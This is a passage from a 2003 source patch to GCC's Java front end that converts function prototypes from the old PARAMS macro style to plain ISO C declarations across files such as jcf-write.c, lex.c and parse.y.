jcf_parse_final_attributes PARAMS ((JCF *)); +static int get_attribute (JCF *); +static int jcf_parse_preamble (JCF *); +static int jcf_parse_constant_pool (JCF *); +static void jcf_parse_class (JCF *); +static int jcf_parse_fields (JCF *); +static int jcf_parse_one_method (JCF *); +static int jcf_parse_methods (JCF *); +static int jcf_parse_final_attributes (JCF *); #ifdef NEED_PEEK_ATTRIBUTE -static int peek_attribute PARAMS ((JCF *, int, const char *, int)); +static int peek_attribute (JCF *, int, const char *, int); #endif #ifdef NEED_SKIP_ATTRIBUTE -static void skip_attribute PARAMS ((JCF *, int)); +static void skip_attribute (JCF *, int); #endif /* Go through all available attribute (ATTRIBUTE_NUMER) and try to diff -rup orig/egcc-CVS20030109/gcc/java/jcf-write.c egcc-CVS20030109/gcc/java/jcf-write.c --- orig/egcc-CVS20030109/gcc/java/jcf-write.c Thu Jan 9 13:57:46 2003 +++ egcc-CVS20030109/gcc/java/jcf-write.c Thu Jan 9 14:20:19 2003 @@ -280,81 +280,76 @@ struct jcf_partial struct jcf_switch_state *sw_state; }; -static void generate_bytecode_insns PARAMS ((tree, int, struct jcf_partial *)); -static struct chunk * alloc_chunk PARAMS ((struct chunk *, unsigned char *, - int, struct obstack *)); -static unsigned char * append_chunk PARAMS ((unsigned char *, int, - struct jcf_partial *)); -static void append_chunk_copy PARAMS ((unsigned char *, int, - struct jcf_partial *)); -static struct jcf_block * gen_jcf_label PARAMS ((struct jcf_partial *)); -static void finish_jcf_block PARAMS ((struct jcf_partial *)); -static void define_jcf_label PARAMS ((struct jcf_block *, - struct jcf_partial *)); -static struct jcf_block * get_jcf_label_here PARAMS ((struct jcf_partial *)); -static void put_linenumber PARAMS ((int, struct jcf_partial *)); -static void localvar_alloc PARAMS ((tree, struct jcf_partial *)); -static void localvar_free PARAMS ((tree, struct jcf_partial *)); -static int get_access_flags PARAMS ((tree)); -static void write_chunks PARAMS ((FILE *, struct chunk *)); -static int adjust_typed_op PARAMS ((tree, int)); -static void generate_bytecode_conditional PARAMS ((tree, struct jcf_block *, - struct jcf_block *, int, - struct jcf_partial *)); -static void generate_bytecode_return PARAMS ((tree, struct jcf_partial *)); -static void perform_relocations PARAMS ((struct jcf_partial *)); -static void init_jcf_state PARAMS ((struct jcf_partial *, struct obstack *)); -static void init_jcf_method PARAMS ((struct jcf_partial *, tree)); -static void release_jcf_state PARAMS ((struct jcf_partial *)); -static struct chunk * generate_classfile PARAMS ((tree, struct jcf_partial *)); -static struct jcf_handler *alloc_handler PARAMS ((struct jcf_block *, - struct jcf_block *, - struct jcf_partial *)); -static void emit_iinc PARAMS ((tree, HOST_WIDE_INT, struct jcf_partial *)); -static void emit_reloc PARAMS ((HOST_WIDE_INT, int, struct jcf_block *, - struct jcf_partial *)); -static void push_constant1 PARAMS ((HOST_WIDE_INT, struct jcf_partial *)); -static void push_constant2 PARAMS ((HOST_WIDE_INT, struct jcf_partial *)); -static void push_int_const PARAMS ((HOST_WIDE_INT, struct jcf_partial *)); -static int find_constant_wide PARAMS ((HOST_WIDE_INT, HOST_WIDE_INT, - struct jcf_partial *)); -static void push_long_const PARAMS ((HOST_WIDE_INT, HOST_WIDE_INT, - struct jcf_partial *)); -static int find_constant_index PARAMS ((tree, struct jcf_partial *)); -static void push_long_const PARAMS ((HOST_WIDE_INT, HOST_WIDE_INT, - struct jcf_partial *)); -static void field_op PARAMS ((tree, int, struct jcf_partial *)); -static void maybe_wide PARAMS ((int, int, struct jcf_partial *)); -static void emit_dup PARAMS ((int, int, struct jcf_partial *)); -static void emit_pop PARAMS ((int, struct jcf_partial *)); -static void emit_load_or_store PARAMS ((tree, int, struct jcf_partial *)); -static void emit_load PARAMS ((tree, struct jcf_partial *)); -static void emit_store PARAMS ((tree, struct jcf_partial *)); -static void emit_unop PARAMS ((enum java_opcode, tree, struct jcf_partial *)); -static void emit_binop PARAMS ((enum java_opcode, tree, struct jcf_partial *)); -static void emit_reloc PARAMS ((HOST_WIDE_INT, int, struct jcf_block *, - struct jcf_partial *)); -static void emit_switch_reloc PARAMS ((struct jcf_block *, - struct jcf_partial *)); -static void emit_case_reloc PARAMS ((struct jcf_relocation *, - struct jcf_partial *)); -static void emit_if PARAMS ((struct jcf_block *, int, int, - struct jcf_partial *)); -static void emit_goto PARAMS ((struct jcf_block *, struct jcf_partial *)); -static void emit_jsr PARAMS ((struct jcf_block *, struct jcf_partial *)); -static void call_cleanups PARAMS ((struct jcf_block *, struct jcf_partial *)); -static char *make_class_file_name PARAMS ((tree)); -static unsigned char *append_synthetic_attribute PARAMS ((struct jcf_partial *)); -static void append_innerclasses_attribute PARAMS ((struct jcf_partial *, tree)); -static void append_innerclasses_attribute_entry PARAMS ((struct jcf_partial *, tree, tree)); -static void append_gcj_attribute PARAMS ((struct jcf_partial *, tree)); +static void generate_bytecode_insns (tree, int, struct jcf_partial *); +static struct chunk * alloc_chunk (struct chunk *, unsigned char *, + int, struct obstack *); +static unsigned char * append_chunk (unsigned char *, int, + struct jcf_partial *); +static void append_chunk_copy (unsigned char *, int, struct jcf_partial *); +static struct jcf_block * gen_jcf_label (struct jcf_partial *); +static void finish_jcf_block (struct jcf_partial *); +static void define_jcf_label (struct jcf_block *, struct jcf_partial *); +static struct jcf_block * get_jcf_label_here (struct jcf_partial *); +static void put_linenumber (int, struct jcf_partial *); +static void localvar_alloc (tree, struct jcf_partial *); +static void localvar_free (tree, struct jcf_partial *); +static int get_access_flags (tree); +static void write_chunks (FILE *, struct chunk *); +static int adjust_typed_op (tree, int); +static void generate_bytecode_conditional (tree, struct jcf_block *, + struct jcf_block *, int, + struct jcf_partial *); +static void generate_bytecode_return (tree, struct jcf_partial *); +static void perform_relocations (struct jcf_partial *); +static void init_jcf_state (struct jcf_partial *, struct obstack *); +static void init_jcf_method (struct jcf_partial *, tree); +static void release_jcf_state (struct jcf_partial *); +static struct chunk * generate_classfile (tree, struct jcf_partial *); +static struct jcf_handler *alloc_handler (struct jcf_block *, + struct jcf_block *, + struct jcf_partial *); +static void emit_iinc (tree, HOST_WIDE_INT, struct jcf_partial *); +static void emit_reloc (HOST_WIDE_INT, int, struct jcf_block *, + struct jcf_partial *); +static void push_constant1 (HOST_WIDE_INT, struct jcf_partial *); +static void push_constant2 (HOST_WIDE_INT, struct jcf_partial *); +static void push_int_const (HOST_WIDE_INT, struct jcf_partial *); +static int find_constant_wide (HOST_WIDE_INT, HOST_WIDE_INT, + struct jcf_partial *); +static void push_long_const (HOST_WIDE_INT, HOST_WIDE_INT, + struct jcf_partial *); +static int find_constant_index (tree, struct jcf_partial *); +static void push_long_const (HOST_WIDE_INT, HOST_WIDE_INT, + struct jcf_partial *); +static void field_op (tree, int, struct jcf_partial *); +static void maybe_wide (int, int, struct jcf_partial *); +static void emit_dup (int, int, struct jcf_partial *); +static void emit_pop (int, struct jcf_partial *); +static void emit_load_or_store (tree, int, struct jcf_partial *); +static void emit_load (tree, struct jcf_partial *); +static void emit_store (tree, struct jcf_partial *); +static void emit_unop (enum java_opcode, tree, struct jcf_partial *); +static void emit_binop (enum java_opcode, tree, struct jcf_partial *); +static void emit_reloc (HOST_WIDE_INT, int, struct jcf_block *, + struct jcf_partial *); +static void emit_switch_reloc (struct jcf_block *, struct jcf_partial *); +static void emit_case_reloc (struct jcf_relocation *, struct jcf_partial *); +static void emit_if (struct jcf_block *, int, int, struct jcf_partial *); +static void emit_goto (struct jcf_block *, struct jcf_partial *); +static void emit_jsr (struct jcf_block *, struct jcf_partial *); +static void call_cleanups (struct jcf_block *, struct jcf_partial *); +static char *make_class_file_name (tree); +static unsigned char *append_synthetic_attribute (struct jcf_partial *); +static void append_innerclasses_attribute (struct jcf_partial *, tree); +static void append_innerclasses_attribute_entry (struct jcf_partial *, tree, tree); +static void append_gcj_attribute (struct jcf_partial *, tree); /* Utility macros for appending (big-endian) data to a buffer. We assume a local variable 'ptr' points into where we want to write next, and we assume enough space has been allocated. */ #ifdef ENABLE_JC1_CHECKING -static int CHECK_PUT PARAMS ((void *, struct jcf_partial *, int)); +static int CHECK_PUT (void *, struct jcf_partial *, int); static int CHECK_PUT (ptr, state, i) @@ -411,7 +406,7 @@ alloc_chunk (last, data, size, work) } #ifdef ENABLE_JC1_CHECKING -static int CHECK_OP PARAMS ((struct jcf_partial *)); +static int CHECK_OP (struct jcf_partial *); static int CHECK_OP (state) diff -rup orig/egcc-CVS20030109/gcc/java/jcf.h egcc-CVS20030109/gcc/java/jcf.h --- orig/egcc-CVS20030109/gcc/java/jcf.h Thu Jan 9 13:57:46 2003 +++ egcc-CVS20030109/gcc/java/jcf.h Thu Jan 9 14:20:52 2003 @@ -55,7 +55,7 @@ The Free Software Foundation is independ #endif struct JCF; -typedef int (*jcf_filbuf_t) PARAMS ((struct JCF*, int needed)); +typedef int (*jcf_filbuf_t) (struct JCF*, int needed); typedef struct CPool { /* Available number of elements in the constants array, before it @@ -217,10 +217,10 @@ typedef struct JCF { #define DEFAULT_CLASS_PATH "." -extern const char *find_class PARAMS ((const char *, int, JCF*, int)); -extern const char *find_classfile PARAMS ((char *, JCF*, const char *)); -extern int jcf_filbuf_from_stdio PARAMS ((JCF *jcf, int count)); -extern int jcf_unexpected_eof PARAMS ((JCF*, int)) ATTRIBUTE_NORETURN; +extern const char *find_class (const char *, int, JCF*, int); +extern const char *find_classfile (char *, JCF*, const char *); +extern int jcf_filbuf_from_stdio (JCF *jcf, int count); +extern int jcf_unexpected_eof (JCF*, int) ATTRIBUTE_NORETURN; /* Extract a character from a Java-style Utf8 string. * PTR points to the current character. @@ -251,27 +251,27 @@ extern int quiet_flag; #endif /* Declarations for dependency code. */ -extern void jcf_dependency_reset PARAMS ((void)); -extern void jcf_dependency_set_target PARAMS ((const char *)); -extern void jcf_dependency_add_target PARAMS ((const char *)); -extern void jcf_dependency_set_dep_file PARAMS ((const char *)); -extern void jcf_dependency_add_file PARAMS ((const char *, int)); -extern void jcf_dependency_write PARAMS ((void)); -extern void jcf_dependency_init PARAMS ((int)); -extern void jcf_dependency_print_dummies PARAMS ((void)); +extern void jcf_dependency_reset (void); +extern void jcf_dependency_set_target (const char *); +extern void jcf_dependency_add_target (const char *); +extern void jcf_dependency_set_dep_file (const char *); +extern void jcf_dependency_add_file (const char *, int); +extern void jcf_dependency_write (void); +extern void jcf_dependency_init (int); +extern void jcf_dependency_print_dummies (void); /* Declarations for path handling code. */ -extern void jcf_path_init PARAMS ((void)); -extern void jcf_path_classpath_arg PARAMS ((const char *)); -extern void jcf_path_bootclasspath_arg PARAMS ((const char *)); -extern void jcf_path_extdirs_arg PARAMS ((const char *)); -extern void jcf_path_include_arg PARAMS ((const char *)); -extern void jcf_path_seal PARAMS ((int)); -extern void *jcf_path_start PARAMS ((void)); -extern void *jcf_path_next PARAMS ((void *)); -extern char *jcf_path_name PARAMS ((void *)); -extern int jcf_path_is_zipfile PARAMS ((void *)); -extern int jcf_path_is_system PARAMS ((void *)); -extern int jcf_path_max_len PARAMS ((void)); +extern void jcf_path_init (void); +extern void jcf_path_classpath_arg (const char *); +extern void jcf_path_bootclasspath_arg (const char *); +extern void jcf_path_extdirs_arg (const char *); +extern void jcf_path_include_arg (const char *); +extern void jcf_path_seal (int); +extern void *jcf_path_start (void); +extern void *jcf_path_next (void *); +extern char *jcf_path_name (void *); +extern int jcf_path_is_zipfile (void *); +extern int jcf_path_is_system (void *); +extern int jcf_path_max_len (void); #endif /* ! GCC_JCF_H */ diff -rup orig/egcc-CVS20030109/gcc/java/jv-scan.c egcc-CVS20030109/gcc/java/jv-scan.c --- orig/egcc-CVS20030109/gcc/java/jv-scan.c Thu Jan 9 13:57:46 2003 +++ egcc-CVS20030109/gcc/java/jv-scan.c Thu Jan 9 14:21:37 2003 @@ -39,15 +39,15 @@ Boston, MA 02111-1307, USA. */ #include -extern void fatal_error PARAMS ((const char *s, ...)) +extern void fatal_error (const char *s, ...) ATTRIBUTE_PRINTF_1 ATTRIBUTE_NORETURN; -void warning PARAMS ((const char *s, ...)) ATTRIBUTE_PRINTF_1; -void gcc_obstack_init PARAMS ((struct obstack *obstack)); -void report PARAMS ((void)); +void warning (const char *s, ...) ATTRIBUTE_PRINTF_1; +void gcc_obstack_init (struct obstack *obstack); +void report (void); -static void usage PARAMS ((void)) ATTRIBUTE_NORETURN; -static void help PARAMS ((void)) ATTRIBUTE_NORETURN; -static void version PARAMS ((void)) ATTRIBUTE_NORETURN; +static void usage (void) ATTRIBUTE_NORETURN; +static void help (void) ATTRIBUTE_NORETURN; +static void version (void) ATTRIBUTE_NORETURN; #define JC1_LITE #include "jcf.h" diff -rup orig/egcc-CVS20030109/gcc/java/jvgenmain.c egcc-CVS20030109/gcc/java/jvgenmain.c --- orig/egcc-CVS20030109/gcc/java/jvgenmain.c Thu Jan 2 07:00:41 2003 +++ egcc-CVS20030109/gcc/java/jvgenmain.c Thu Jan 9 14:22:11 2003 @@ -34,7 +34,7 @@ The Free Software Foundation is independ #include "tree.h" #include "java-tree.h" -static char * do_mangle_classname PARAMS ((const char *string)); +static char * do_mangle_classname (const char *string); struct obstack name_obstack; struct obstack *mangle_obstack = &name_obstack; @@ -55,8 +55,8 @@ gcc_obstack_init (obstack) #define OBSTACK_CHUNK_FREE free #endif _obstack_begin (obstack, OBSTACK_CHUNK_SIZE, 0, - (void *(*) PARAMS ((long))) OBSTACK_CHUNK_ALLOC, - (void (*) PARAMS ((void *))) OBSTACK_CHUNK_FREE); + (void *(*) (long)) OBSTACK_CHUNK_ALLOC, + (void (*) (void *)) OBSTACK_CHUNK_FREE); } static void usage (const char *) ATTRIBUTE_NORETURN; diff -rup orig/egcc-CVS20030109/gcc/java/keyword.gperf egcc-CVS20030109/gcc/java/keyword.gperf --- orig/egcc-CVS20030109/gcc/java/keyword.gperf Fri Jan 3 00:46:32 2003 +++ egcc-CVS20030109/gcc/java/keyword.gperf Thu Jan 9 14:22:52 2003 @@ -30,11 +30,11 @@ struct java_keyword { const char *const #ifdef __GNUC__ __inline #endif -static unsigned int hash PARAMS ((const char *, unsigned int)); +static unsigned int hash (const char *, unsigned int); #ifdef __GNUC__ __inline #endif -const struct java_keyword *java_keyword PARAMS ((const char *, unsigned int)); +const struct java_keyword *java_keyword (const char *, unsigned int); %% abstract, ABSTRACT_TK default, DEFAULT_TK diff -rup orig/egcc-CVS20030109/gcc/java/keyword.h egcc-CVS20030109/gcc/java/keyword.h --- orig/egcc-CVS20030109/gcc/java/keyword.h Thu Jan 9 07:01:03 2003 +++ egcc-CVS20030109/gcc/java/keyword.h Thu Jan 9 14:23:15 2003 @@ -30,11 +30,11 @@ struct java_keyword { const char *const #ifdef __GNUC__ __inline #endif -static unsigned int hash PARAMS ((const char *, unsigned int)); +static unsigned int hash (const char *, unsigned int); #ifdef __GNUC__ __inline #endif -const struct java_keyword *java_keyword PARAMS ((const char *, unsigned int)); +const struct java_keyword *java_keyword (const char *, unsigned int); #define TOTAL_KEYWORDS 52 #define MIN_WORD_LENGTH 2 diff -rup orig/egcc-CVS20030109/gcc/java/lang.c egcc-CVS20030109/gcc/java/lang.c --- orig/egcc-CVS20030109/gcc/java/lang.c Sun Jan 5 00:24:58 2003 +++ egcc-CVS20030109/gcc/java/lang.c Thu Jan 9 14:25:35 2003 @@ -53,32 +53,24 @@ struct string_option const int on_value; }; -static const char *java_init PARAMS ((const char *)); -static void java_finish PARAMS ((void)); -static void java_init_options PARAMS ((void)); -static bool java_post_options PARAMS ((void)); +static const char *java_init (const char *); +static void java_finish (void); +static void java_init_options (void); +static bool java_post_options (void); -static int java_decode_option PARAMS ((int, char **)); -static void put_decl_string PARAMS ((const char *, int)); -static void put_decl_node PARAMS ((tree)); -static void java_print_error_function PARAMS ((diagnostic_context *, - const char *)); -static int process_option_with_no PARAMS ((const char *, - const struct string_option *, - int)); -static tree java_tree_inlining_walk_subtrees PARAMS ((tree *, - int *, - walk_tree_fn, - void *, - void *)); -static int java_unsafe_for_reeval PARAMS ((tree)); -static int merge_init_test_initialization PARAMS ((void * *, - void *)); -static int inline_init_test_initialization PARAMS ((void * *, - void *)); -static bool java_can_use_bit_fields_p PARAMS ((void)); -static int java_dump_tree PARAMS ((void *, tree)); -static void dump_compound_expr PARAMS ((dump_info_p, tree)); +static int java_decode_option (int, char **); +static void put_decl_string (const char *, int); +static void put_decl_node (tree); +static void java_print_error_function (diagnostic_context *, const char *); +static int process_option_with_no (const char *, const struct string_option *, int); +static tree java_tree_inlining_walk_subtrees (tree *, int *, walk_tree_fn, + void *, void *); +static int java_unsafe_for_reeval (tree); +static int merge_init_test_initialization (void * *, void *); +static int inline_init_test_initialization (void * *, void *); +static bool java_can_use_bit_fields_p (void); +static int java_dump_tree (void *, tree); +static void dump_compound_expr (dump_info_p, tree); #ifndef TARGET_OBJECT_SUFFIX # define TARGET_OBJECT_SUFFIX ".o" diff -rup orig/egcc-CVS20030109/gcc/java/lex.c egcc-CVS20030109/gcc/java/lex.c --- orig/egcc-CVS20030109/gcc/java/lex.c Wed Jan 1 16:00:37 2003 +++ egcc-CVS20030109/gcc/java/lex.c Thu Jan 9 14:26:55 2003 @@ -40,35 +40,34 @@ The Free Software Foundation is independ #include "chartables.h" /* Function declarations. */ -static char *java_sprint_unicode PARAMS ((struct java_line *, int)); -static void java_unicode_2_utf8 PARAMS ((unicode_t)); -static void java_lex_error PARAMS ((const char *, int)); +static char *java_sprint_unicode (struct java_line *, int); +static void java_unicode_2_utf8 (unicode_t); +static void java_lex_error (const char *, int); #ifndef JC1_LITE -static int java_is_eol PARAMS ((FILE *, int)); -static tree build_wfl_node PARAMS ((tree)); +static int java_is_eol (FILE *, int); +static tree build_wfl_node (tree); #endif -static void java_store_unicode PARAMS ((struct java_line *, unicode_t, int)); -static int java_parse_escape_sequence PARAMS ((void)); -static int java_start_char_p PARAMS ((unicode_t)); -static int java_part_char_p PARAMS ((unicode_t)); -static int java_parse_doc_section PARAMS ((int)); -static void java_parse_end_comment PARAMS ((int)); -static int java_get_unicode PARAMS ((void)); -static int java_read_unicode PARAMS ((java_lexer *, int *)); -static int java_read_unicode_collapsing_terminators PARAMS ((java_lexer *, - int *)); -static void java_store_unicode PARAMS ((struct java_line *, unicode_t, int)); -static int java_read_char PARAMS ((java_lexer *)); -static void java_allocate_new_line PARAMS ((void)); -static void java_unget_unicode PARAMS ((void)); -static unicode_t java_sneak_unicode PARAMS ((void)); +static void java_store_unicode (struct java_line *, unicode_t, int); +static int java_parse_escape_sequence (void); +static int java_start_char_p (unicode_t); +static int java_part_char_p (unicode_t); +static int java_parse_doc_section (int); +static void java_parse_end_comment (int); +static int java_get_unicode (void); +static int java_read_unicode (java_lexer *, int *); +static int java_read_unicode_collapsing_terminators (java_lexer *, int *); +static void java_store_unicode (struct java_line *, unicode_t, int); +static int java_read_char (java_lexer *); +static void java_allocate_new_line (void); +static void java_unget_unicode (void); +static unicode_t java_sneak_unicode (void); #ifndef JC1_LITE -static int utf8_cmp PARAMS ((const unsigned char *, int, const char *)); +static int utf8_cmp (const unsigned char *, int, const char *); #endif -java_lexer *java_new_lexer PARAMS ((FILE *, const char *)); +java_lexer *java_new_lexer (FILE *, const char *); #ifndef JC1_LITE -static void error_if_numeric_overflow PARAMS ((tree)); +static void error_if_numeric_overflow (tree); #endif #ifdef HAVE_ICONV @@ -838,7 +837,7 @@ java_parse_escape_sequence () with an 'f', indicating it is of type 'float'; NUMBER_BEGINNING is the line number on which to report any error. */ -static void java_perform_atof PARAMS ((YYSTYPE *, char *, int, int)); +static void java_perform_atof (YYSTYPE *, char *, int, int); static void java_perform_atof (java_lval, literal_token, fflag, number_beginning) @@ -888,7 +887,7 @@ java_perform_atof (java_lval, literal_to } #endif -static int yylex PARAMS ((YYSTYPE *)); +static int yylex (YYSTYPE *); static int #ifdef JC1_LITE diff -rup orig/egcc-CVS20030109/gcc/java/lex.h egcc-CVS20030109/gcc/java/lex.h --- orig/egcc-CVS20030109/gcc/java/lex.h Wed Jan 1 16:00:37 2003 +++ egcc-CVS20030109/gcc/java/lex.h Thu Jan 9 14:27:04 2003 @@ -158,7 +158,7 @@ typedef struct java_lexer } java_lexer; /* Destroy a lexer object. */ -extern void java_destroy_lexer PARAMS ((java_lexer *)); +extern void java_destroy_lexer (java_lexer *); #define JAVA_LINE_MAX 80 diff -rup orig/egcc-CVS20030109/gcc/java/mangle.c egcc-CVS20030109/gcc/java/mangle.c --- orig/egcc-CVS20030109/gcc/java/mangle.c Thu Jan 2 07:00:41 2003 +++ egcc-CVS20030109/gcc/java/mangle.c Thu Jan 9 14:27:27 2003 @@ -38,28 +38,28 @@ The Free Software Foundation is independ #include "obstack.h" #include "ggc.h" -static void mangle_field_decl PARAMS ((tree)); -static void mangle_method_decl PARAMS ((tree)); +static void mangle_field_decl (tree); +static void mangle_method_decl (tree); -static void mangle_type PARAMS ((tree)); -static void mangle_pointer_type PARAMS ((tree)); -static void mangle_array_type PARAMS ((tree)); -static int mangle_record_type PARAMS ((tree, int)); +static void mangle_type (tree); +static void mangle_pointer_type (tree); +static void mangle_array_type (tree); +static int mangle_record_type (tree, int); -static int find_compression_pointer_match PARAMS ((tree)); -static int find_compression_array_match PARAMS ((tree)); -static int find_compression_record_match PARAMS ((tree, tree *)); -static int find_compression_array_template_match PARAMS ((tree)); +static int find_compression_pointer_match (tree); +static int find_compression_array_match (tree); +static int find_compression_record_match (tree, tree *); +static int find_compression_array_template_match (tree); -static void set_type_package_list PARAMS ((tree)); -static int entry_match_pointer_p PARAMS ((tree, int)); -static void emit_compression_string PARAMS ((int)); +static void set_type_package_list (tree); +static int entry_match_pointer_p (tree, int); +static void emit_compression_string (int); -static void init_mangling PARAMS ((struct obstack *)); -static tree finish_mangling PARAMS ((void)); -static void compression_table_add PARAMS ((tree)); +static void init_mangling (struct obstack *); +static tree finish_mangling (void); +static void compression_table_add (tree); -static void mangle_member_name PARAMS ((tree)); +static void mangle_member_name (tree); /* We use an incoming obstack, always to be provided to the interface functions. */ diff -rup orig/egcc-CVS20030109/gcc/java/mangle_name.c egcc-CVS20030109/gcc/java/mangle_name.c --- orig/egcc-CVS20030109/gcc/java/mangle_name.c Thu Jan 2 07:00:41 2003 +++ egcc-CVS20030109/gcc/java/mangle_name.c Thu Jan 9 14:27:45 2003 @@ -35,9 +35,9 @@ The Free Software Foundation is independ #include "obstack.h" #include "toplev.h" -static void append_unicode_mangled_name PARAMS ((const char *, int)); +static void append_unicode_mangled_name (const char *, int); #ifndef HAVE_AS_UTF8 -static int unicode_mangling_length PARAMS ((const char *, int)); +static int unicode_mangling_length (const char *, int); #endif extern struct obstack *mangle_obstack; diff -rup orig/egcc-CVS20030109/gcc/java/parse-scan.y egcc-CVS20030109/gcc/java/parse-scan.y --- orig/egcc-CVS20030109/gcc/java/parse-scan.y Wed Jan 1 16:00:37 2003 +++ egcc-CVS20030109/gcc/java/parse-scan.y Thu Jan 9 14:41:00 2003 @@ -116,15 +116,15 @@ struct method_declarator { } /* Two actions for this grammar */ -static int make_class_name_recursive PARAMS ((struct obstack *stack, - struct class_context *ctx)); -static char *get_class_name PARAMS ((void)); -static void report_class_declaration PARAMS ((const char *)); -static void report_main_declaration PARAMS ((struct method_declarator *)); -static void push_class_context PARAMS ((const char *)); -static void pop_class_context PARAMS ((void)); +static int make_class_name_recursive (struct obstack *stack, + struct class_context *ctx); +static char *get_class_name (void); +static void report_class_declaration (const char *); +static void report_main_declaration (struct method_declarator *); +static void push_class_context (const char *); +static void pop_class_context (void); -void report PARAMS ((void)); +void report (void); #include "lex.h" #include "parse.h" diff -rup orig/egcc-CVS20030109/gcc/java/parse.h egcc-CVS20030109/gcc/java/parse.h --- orig/egcc-CVS20030109/gcc/java/parse.h Wed Jan 1 16:00:37 2003 +++ egcc-CVS20030109/gcc/java/parse.h Thu Jan 9 14:41:35 2003 @@ -36,8 +36,8 @@ extern int quiet_flag; #ifndef JC1_LITE /* Function extern to java/ */ -extern int int_fits_type_p PARAMS ((tree, tree)); -extern tree stabilize_reference PARAMS ((tree)); +extern int int_fits_type_p (tree, tree); +extern tree stabilize_reference (tree); #endif /* Macros for verbose debug info */ @@ -920,32 +920,32 @@ struct parser_ctxt { #define JAVA_RADIX10_FLAG(NODE) TREE_LANG_FLAG_0(NODE) #ifndef JC1_LITE -void java_complete_class PARAMS ((void)); -void java_check_circular_reference PARAMS ((void)); -void java_fix_constructors PARAMS ((void)); -void java_layout_classes PARAMS ((void)); -void java_reorder_fields PARAMS ((void)); -tree java_method_add_stmt PARAMS ((tree, tree)); -int java_report_errors PARAMS ((void)); -extern tree do_resolve_class PARAMS ((tree, tree, tree, tree)); +void java_complete_class (void); +void java_check_circular_reference (void); +void java_fix_constructors (void); +void java_layout_classes (void); +void java_reorder_fields (void); +tree java_method_add_stmt (tree, tree); +int java_report_errors (void); +extern tree do_resolve_class (tree, tree, tree, tree); #endif -char *java_get_line_col PARAMS ((const char *, int, int)); -extern void reset_report PARAMS ((void)); +char *java_get_line_col (const char *, int, int); +extern void reset_report (void); /* Always in use, no matter what you compile */ -void java_push_parser_context PARAMS ((void)); -void java_pop_parser_context PARAMS ((int)); -void java_init_lex PARAMS ((FILE *, const char *)); -extern void java_parser_context_save_global PARAMS ((void)); -extern void java_parser_context_restore_global PARAMS ((void)); -int yyparse PARAMS ((void)); -extern int java_parse PARAMS ((void)); -extern void yyerror PARAMS ((const char *)) +void java_push_parser_context (void); +void java_pop_parser_context (int); +void java_init_lex (FILE *, const char *); +extern void java_parser_context_save_global (void); +extern void java_parser_context_restore_global (void); +int yyparse (void); +extern int java_parse (void); +extern void yyerror (const char *) #ifdef JC1_LITE ATTRIBUTE_NORETURN #endif ; -extern void java_expand_classes PARAMS ((void)); +extern void java_expand_classes (void); extern struct parser_ctxt *ctxp; extern struct parser_ctxt *ctxp_for_generation; diff -rup orig/egcc-CVS20030109/gcc/java/parse.y egcc-CVS20030109/gcc/java/parse.y --- orig/egcc-CVS20030109/gcc/java/parse.y Thu Jan 9 13:55:31 2003 +++ egcc-CVS20030109/gcc/java/parse.y Thu Jan 9 14:40:08 2003 @@ -73,272 +73,261 @@ definitions and other extensions. */ #include "tree-inline.h" /* Local function prototypes */ -static char *java_accstring_lookup PARAMS ((int)); -static void classitf_redefinition_error PARAMS ((const char *,tree, tree, tree)); -static void variable_redefinition_error PARAMS ((tree, tree, tree, int)); -static tree create_class PARAMS ((int, tree, tree, tree)); -static tree create_interface PARAMS ((int, tree, tree)); -static void end_class_declaration PARAMS ((int)); -static tree find_field PARAMS ((tree, tree)); -static tree lookup_field_wrapper PARAMS ((tree, tree)); -static int duplicate_declaration_error_p PARAMS ((tree, tree, tree)); -static void register_fields PARAMS ((int, tree, tree)); -static tree parser_qualified_classname PARAMS ((tree)); -static int parser_check_super PARAMS ((tree, tree, tree)); -static int parser_check_super_interface PARAMS ((tree, tree, tree)); -static void check_modifiers_consistency PARAMS ((int)); -static tree lookup_cl PARAMS ((tree)); -static tree lookup_java_method2 PARAMS ((tree, tree, int)); -static tree method_header PARAMS ((int, tree, tree, tree)); -static void fix_method_argument_names PARAMS ((tree ,tree)); -static tree method_declarator PARAMS ((tree, tree)); -static void parse_warning_context PARAMS ((tree cl, const char *msg, ...)) +static char *java_accstring_lookup (int); +static void classitf_redefinition_error (const char *,tree, tree, tree); +static void variable_redefinition_error (tree, tree, tree, int); +static tree create_class (int, tree, tree, tree); +static tree create_interface (int, tree, tree); +static void end_class_declaration (int); +static tree find_field (tree, tree); +static tree lookup_field_wrapper (tree, tree); +static int duplicate_declaration_error_p (tree, tree, tree); +static void register_fields (int, tree, tree); +static tree parser_qualified_classname (tree); +static int parser_check_super (tree, tree, tree); +static int parser_check_super_interface (tree, tree, tree); +static void check_modifiers_consistency (int); +static tree lookup_cl (tree); +static tree lookup_java_method2 (tree, tree, int); +static tree method_header (int, tree, tree, tree); +static void fix_method_argument_names (tree ,tree); +static tree method_declarator (tree, tree); +static void parse_warning_context (tree cl, const char *msg, ...) ATTRIBUTE_PRINTF_2; -static void issue_warning_error_from_context PARAMS ((tree, const char *msg, va_list)) +static void issue_warning_error_from_context (tree, const char *msg, va_list) ATTRIBUTE_PRINTF (2, 0); -static void parse_ctor_invocation_error PARAMS ((void)); -static tree parse_jdk1_1_error PARAMS ((const char *)); -static void complete_class_report_errors PARAMS ((jdep *)); -static int process_imports PARAMS ((void)); -static void read_import_dir PARAMS ((tree)); -static int find_in_imports_on_demand PARAMS ((tree, tree)); -static void find_in_imports PARAMS ((tree, tree)); -static void check_inner_class_access PARAMS ((tree, tree, tree)); -static int check_pkg_class_access PARAMS ((tree, tree, bool)); -static void register_package PARAMS ((tree)); -static tree resolve_package PARAMS ((tree, tree *, tree *)); -static tree resolve_class PARAMS ((tree, tree, tree, tree)); -static void declare_local_variables PARAMS ((int, tree, tree)); -static void dump_java_tree PARAMS ((enum tree_dump_index, tree)); -static void source_start_java_method PARAMS ((tree)); -static void source_end_java_method PARAMS ((void)); -static tree find_name_in_single_imports PARAMS ((tree)); -static void check_abstract_method_header PARAMS ((tree)); -static tree lookup_java_interface_method2 PARAMS ((tree, tree)); -static tree resolve_expression_name PARAMS ((tree, tree *)); -static tree maybe_create_class_interface_decl PARAMS ((tree, tree, tree, tree)); -static int check_class_interface_creation PARAMS ((int, int, tree, - tree, tree, tree)); -static tree patch_method_invocation PARAMS ((tree, tree, tree, int, - int *, tree *)); -static int breakdown_qualified PARAMS ((tree *, tree *, tree)); -static int in_same_package PARAMS ((tree, tree)); -static tree resolve_and_layout PARAMS ((tree, tree)); -static tree qualify_and_find PARAMS ((tree, tree, tree)); -static tree resolve_no_layout PARAMS ((tree, tree)); -static int invocation_mode PARAMS ((tree, int)); -static tree find_applicable_accessible_methods_list PARAMS ((int, tree, 